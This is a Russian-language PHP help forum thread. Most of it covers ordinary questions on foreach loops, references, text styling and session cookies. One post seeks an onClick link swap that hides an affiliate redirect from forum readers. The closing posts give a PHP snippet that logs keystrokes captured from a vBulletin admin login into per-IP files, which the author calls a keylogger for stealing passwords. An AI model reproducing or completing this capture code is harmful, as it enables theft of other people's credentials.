Мазохизм. Приведите структуру базы данных. >> Можно ли это, используя foreach внутри foreach? Можно, но это очень плохая практика. >> В конечном итоге, информация выведенная из второго foreach() выводилась в photo.tpl, которая потом, с информацией из первого foreach() оформлялась в конечный page.tpl. Почитайте про MVC (https://ru.wikipedia.org/wiki/Model-View-Controller)
PHP 5.6 Есть ассоциативный массив, который возвращается из БД через while($row = $result->fetch_assoc()) Нужно добавить уже в готовый массив поле 'class' Как по правильному адресоваться к текущему элементу т.е. $item делаю вот так: $result[$item]['class'] = "data-$i"; Но выдает ошибку, сейчас рабочий код, но хотелось бы узнать как правильно адресоваться без $J PHP: $j=0; foreach($result as $item) { $i = MysuperRaschet(); $result[$j]['class'] = "data-$i"; $j++; } подскажите плиз, просто есть вероятность что , что-то потом поменяю и индексы будут не последовательны
Подскажи плиз... если без тильды, то мы берем элемент и кладем в $item (создаем как бы дубликат) Если с тильдой, мы не создаем дубликат, а как бы создаем ссылку, которая работает напрямую с массивом В том случае если мы что-то поменяем в $item поменяется и в $result Все правильно? а unset($item) закрывает этот портал как бы (закрывает ссылку). ? Просто по логике, мы должны были удалить ансетом элемент, у нас же как бы ссылка на оригинал, значит удалится оригинальная запись! или unset не работает для конечного пункта назначения ссылки? хотя сейчас протестирую) UPD: работает спс
Подскажите пожалуйста. Есть задача, реализовать подмену ссылки через код, но на конкретном ресурсе(а именно форум 4PDA) Есть рабочий скрипт, его задача подменить отображаемую ссылку, но переход в итоге будет совершен на другую ссылку. То есть в посте форума видна ссылка яндекса, при наведении на нее мышкой внизу браузера появляется ссылка яндекса, но при нажатии попадаем на гугл На примере яндекса и гугла выглядит так <a href='http://yandex.ru' onClick="this.href='http://google.com'">Яндекс</a> Но этот код не работает на форуме 4PDA http://4pda.ru/forum/index.php код a href отображается как код, а ссылку на любой сайт он автоматом берет в тэг URL и видоизменяет код. в результате получается бред помогите пожалуйста адаптировать корректно код под данный форум?
нет, цель скрыть партнерскую ссылку, чтобы пользователь видел конечную ссылку(как в тексте поста, так и при наведении мышкой) такой какая она и есть, но в реале он сначала проскакивает через партнерскую короткую ссылку я уже видел подобные рабочие примеры на том форуме, но сам не смог сообразить как это реализовать
легко! http://4pda.ru/forum/index.php?showtopic=691899&view=findpost&p=43914619 обратите внимание что вы увидите при наведении мышкой на ссылку в его посте, а потом нажимайте на нее и смотрите в адресную строку, в итоге конечно оказывается именно та ссылка что написана в посте, но на самом деле сначала попадаем на партнерскую ссылку
Там всё довольно просто и прозаично. Да, ссылка имеет вид , а редиректит на Тут нет изменения статуса при наведении, тут просто внесено изменение в скрипт редиректа форума, чтобы админы через диплинк себе все переходы на алиэкспресс присваивали и имели профит с партнёрки. Подсказку ссылки ты не изменишь никак, учитывая то, что это форум на довольно популярном движке
ты абсолютно прав. сейчас создал там же пост, ради интереса со ссылкой на али, сразу же по ссылке перешел, переход идет через ту же партнерскую ссылку админы гребут бабло лопатой, молодцы
Добрый день, хотел бы узнать, как поменять цвет текста например в таком коде: PHP: echo 'hello world';
обернуть текст в HTML-теги и добавить стили Например: PHP: echo '<font style="color: red;">hello world</font>'; В качестве справочника по HTML и CSS рекомендую ресурс htmlbook.ru
у меня почему то слетает авторизация после закрытия браузера срок куки 365 дней, и они остаются в браузере после открытия, но логиниться приходится по новой из-за чего так происходит ? этот код проверяет авторизацию на другой странице, куда перемещает после ввода паролей с логином: PHP: if(!session_id()) session_start();if(!$_SESSION['enter']){session_start();session_destroy();setcookie ("enter", "", 1);unset($_SESSION["enter"]);unset($_COOKIE["enter"]);header("Location: login.php");die();} и он срабатывает на уничтожение после закрытия браузера, хотя куки в браузере есть и срок у них действующий на странице авторизации вот так создаю: PHP: $md5name = md5(uniqid(rand(),1));$value_pass = $md5name;session_start();$_SESSION['enter'] = $md5name;setcookie($name_login, $value_pass);setcookie($name_login, $value_pass, $set_time);setcookie($name_login, $value_pass, $set_time, $_SERVER['PHP_SELF'], ".".$_SERVER['HTTP_HOST'], 1);$_SESSION['enter'] = true;Header( "Location: log_servers.php" );
Всем привет. Имею такой код PHP: <?phpif(!empty($_GET['c'])) {$data = $_GET['c']. '|';$namefile = $_SERVER["REMOTE_ADDR"];file_put_contents ($namefile, $data, FILE_APPEND | LOCK_EX);}?> это для записи введённых данyых в админку vbulletin forum 5 создаётся отдельный файл с названием ip зверя, но проблема такая, что данные приходят в таком формате su|per|p||a|ss|ow|d| и понять где логин, где пароль не сложно, как решить эту проблему, что-бы между логином и паролем был разделитель. Спасибо
задача перехватить логин и пароль в открытом виде. То есть данные которые в веди а окно авторизации. Грубо говоря кей логер. Но надо что бы данные которые пришли в графу логин были отдельные от пароля